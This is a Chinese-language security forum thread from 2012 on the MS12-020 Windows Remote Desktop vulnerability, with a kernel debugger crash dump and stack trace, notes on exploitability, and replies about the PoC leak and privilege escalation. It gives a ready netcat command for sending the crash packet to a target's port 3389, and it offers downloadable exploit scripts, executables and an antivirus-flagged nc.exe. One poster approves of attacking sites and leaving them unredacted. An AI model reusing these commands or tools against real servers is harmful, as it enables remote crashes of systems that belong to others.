f76188dd 8bd8            mov     ebx,eax
f76188df 83c8ff          or      eax,0FFFFFFFFh
f76188e2 f00fc107        lock xadd dword ptr [edi],eax
f76188e6 7506            jne     termdd!IcaBufferAlloc+0x72 (f76188ee)
f76188e8 56              push    esi
f76188e9 e8382f0000      call    termdd!_IcaUnloadSd (f761b826)
f76188ee 8bc3            mov     eax,ebx
f76188f0 5b              pop     ebx
f76188f1 ebc2            jmp     termdd!IcaBufferAlloc+0x39 (f76188b5)

eax=040b0402 ebx=e1492090 ecx=00390080 edx=00000003 esi=040b0402 edi=e1438240
eip=f762888c esp=b832f9d8 ebp=b832f9e0 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202

termdd!IcaBufferAlloc+0x10:
f762888c 8b4618          mov     eax,dword ptr [esi+18h] ds:0023:040b041a=????????
ChildEBP RetAddr
b8b399e0 b89c1c34 termdd!IcaBufferAlloc+0x10
b8b39a00 b89c1c67 RDPWD!StackBufferAlloc+0x26
b8b39a2c b89a902c RDPWD!MCSDetachUserRequest+0x29
b8b39a40 b89a8b44 RDPWD!NMDetachUserReq+0x14
b8b39a4c b89a9185 RDPWD!NM_Disconnect+0x16
b8b39a58 b89adcb4 RDPWD!SM_Disconnect+0x27
b8b39a68 b89a906d RDPWD!SM_OnConnected+0x70
b8b39a88 b89a8db4 RDPWD!NMAbortConnect+0x23
b8b39ac0 b89a9d88 RDPWD!NM_Connect+0x86
b8b39ae0 b89abcfc RDPWD!SM_Connect+0x112
b8b39b08 b89ac786 RDPWD!WDWConnect+0x368
b8b39b3c b89a6959 RDPWD!WDWConfConnect+0x94
b8b39b70 f762c1c7 RDPWD!WD_Ioctl+0x1227
b8b39b8c f762c5a3 termdd!_IcaCallSd+0x35
b8b39bac f762ca10 termdd!_IcaCallStack+0x55
b8b39bf4 f762abcc termdd!IcaDeviceControlStack+0x414
b8b39c24 f762ad20 termdd!IcaDeviceControl+0x4e
b8b39c3c 8081d5c3 termdd!IcaDispatch+0x12a
b8b39c50 808ed4eb nt!IofCallDriver+0x45
b8b39c64 808ee28d nt!NtWriteFile+0x2943
b8b39d00 808e6dbc nt!NtWriteFile+0x36e5
b8b39d34 80883968 nt!NtDeviceIoControlFile+0x2a
b8b39d64 7c82847c nt!KeReleaseInStackQueuedSpinLockFromDpcLevel+0xb14
b8b39d68 badb0d00 ntdll!_NLG_Notify+0x14

(上面汇编代码已加注释,包括代码执行的位置)

Windows 2003服务器上的PoC在ESI+18内存指针下一直没有使用040b02xx到040b02xx的内存区域,
利用的可能性取决于对ESI控制的可能性,或者ESI的内容指向(或许是使用heap填充???),其实我在这部分的测试中很快跳过了,只为抛砖引玉。

注意:在Vista后续的Windows版本中,例如Win7和2008/R2中,如果想要利用MS12-020这个漏洞,必须在设置上允许任意远程桌面版本的主机连接。
不过我不敢打包票说这个远程桌面连接版本限制是触发漏洞的必要条件,反正我提供的PoC是需要设置“允许任意版本远程桌面的主机进行连接”为前提条件才可以使用我这个PoC。

本文中的PoC为了方便各位的调试,使用的是高字节在前32bit的BER正整型数值,

本文参考:
http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx

==========
3) 代码
==========
http://aluigi.org/poc/termdd_1.dat
MS12-020+PoC[bug修正版+++数据包nc发送版].rar
使用方法:
nc 目标服务器地址 3389 < 12020poc.dat
注:如果目标服务器无响应,则可尝试多发送几次。另外,这是一个快速简单的PoC测试数据包 :-)

==========
4) 补救
==========
http://technet.microsoft.com/en-us/security/bulletin/ms12-020
打补丁~

* 本文附件说明:
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC
*
* Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版
* 西班牙语XP SP3和Win7/R2都成功
*
* Chinese Shit Silic Group修正版.py 是基于原Chinese Shit的python脚本的bug校正版本
* 添加了time.sleep
*
* rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具
*
* Apache 1.2.19 mod_jk 远程栈溢出漏洞.py 和 MS08-067.py
* 这两个文件是网上疯传需要freerdp就能成功溢出的MS12-020假EXP的原型
* 注意:那个 Sabu@fbi.gov 的EXP是个十足的冒牌货~
*
* 2012/03/16更新:
* 数据包nc发送版PoC
* 用法:
* nc 目标服务器 3389 < 12020poc.dat
* 本压缩包内的nc.exe为无壳版,报毒属正常。若已加壳请立即删除
*
*
* Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
* BlackBap.Org
*
------以上为转载内容------
P.S. 注意网上现有流传的各种PoC的exe程序也好, EXP的exe程序也好, 匿名者提供的所谓的EXP经测试发现是木马, 所以, 请谨慎下载...

NC里的shellcode比之前的修正版多了以下内容:
00000000 0300                    add eax, dword ptr [eax]
00000002 000B                    add byte ptr [ebx], cl
00000004 06                      push es
00000005 D000                    rol byte ptr [eax], 1
00000007 0012                    add byte ptr [edx], dl
00000009 3400                    xor al, 00

据作者所说, 这个是为了调试方便附加的;
同样, 更新一个不需要ruby环境的PoC程序, 不放心的可以脱了UPX自行分析:
ms12-020.final.rar
此程序出自Xiaomo, 不需要cmd下带参数运行, 直接双击运行, 输入目标站hostname/IP即可进行测试.
----不知道有多少人是抱着学习交流的态度来的, 至少之前的附件下载量100+, 看文章的估计10+都没有----
上传的附件:
雪    币: 64
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
fubar 活跃值 2012-3-17 11:48
15
0
算了 本来周六周末应该休息一下,我多嘴了,楼主我向你道歉
雪    币: 68
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
uing 活跃值 2012-3-17 16:04
16
0
算了, 我也冲动了, 抱歉了...
不打码是让大家觉得真实可信, 一般不影响国计民生的站, 我都不打码; 至少被攻击后, 那个站的管理员要长记性去维护打补丁了, 不然要他光吃饭不干活么?...
雪    币: 237
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zuoyefeng 活跃值 2012-3-17 16:06
17
0
谁泄露了这份POC?
http://aluigi.org/adv/ms12-020_leak.txt

So yes, the pre-built packet stored in "rdpclient.exe" IS mine.
No doubts.


- Microsoft has spread the potential starting point for an
  unauthenticated kernel level worm... weren't they here to protect the
  users???
  it's obvious that they claimed and expected an exploit within 30 days
  if they do the initial job.

- if the author of the leak is a Microsoft employee... bad for him :)

- if the author of the leak is one of the MAPP partners... it's the
  epic fail of the whole system, what do you expect if you give the PoC
  to your "super trusted" partners?


POC是aluigi.org的,到底是谁泄露的呢?
MS?
MS员工?
MAPP?
雪    币: 13
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yezhigang 活跃值 2012-3-17 21:49
18
0
有可能被提权吗?
雪    币: 237
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zuoyefeng 活跃值 2012-3-17 22:11
19
0
可以提权

纠正下,是NMAbortConnect,不是HandleAttachUserReq
你的POC代码里都有了,不过都说了是非专业分析,所以。。。

b8b399e0 b89c1c34 termdd!IcaBufferAlloc+0x10
b8b39a00 b89c1c67 RDPWD!StackBufferAlloc+0x26
b8b39a2c b89a902c RDPWD!MCSDetachUserRequest+0x29
b8b39a40 b89a8b44 RDPWD!NMDetachUserReq+0x14
b8b39a4c b89a9185 RDPWD!NM_Disconnect+0x16
b8b39a58 b89adcb4 RDPWD!SM_Disconnect+0x27
b8b39a68 b89a906d RDPWD!SM_OnConnected+0x70
b8b39a88 b89a8db4 RDPWD!NMAbortConnect+0x23
                                              ~~~~~~~~~~~~~~~
                                               这里
b8b39ac0 b89a9d88 RDPWD!NM_Connect+0x86
b8b39ae0 b89abcfc RDPWD!SM_Connect+0x112
b8b39b08 b89ac786 RDPWD!WDWConnect+0x368
雪    币: 1047
活跃值: 活跃值 (182)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
天涯一鸿 活跃值 2012-3-17 22:39
20
0
RB版的会挂在RDPWD!SListRemove,PY版的才会挂在termdd!IcaBufferAlloc,但是py版的没注释不怎么能明白填充的缓冲区是什么意思……蛋疼……
雪    币: 40
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lockhart 活跃值 2012-3-18 00:19
21
0
uing007,好久没来了
雪    币: 95
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
清新阳光 活跃值 2012-3-18 23:39
22
0
这两天一直在看这个漏洞 怎么能远程执行代码呢 我一直是蓝屏。。我目前找到的蓝屏原因是一个结构被free掉 后来又用了 但不是每次都灵 诡异
雪    币: 1047
活跃值: 活跃值 (182)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
天涯一鸿 活跃值 2012-3-19 23:30
23
0
试了很多次……一般而言触发几率7>XP>2K3……7几乎每次都能中标……
雪    币: 182
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
justlovemm 活跃值 2012-3-22 10:42
24
0
干嘛都只给个PoC,直接给个exp不就ok了吗。看youtube的视频有ms12-022.exe,直接在命令行执行,加上要执行的命令就ok了。
雪    币: 13
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yezhigang 活跃值 2012-3-22 11:22
25
0
这个漏洞如何提权?
游客
登录 | 注册 方可回帖
返回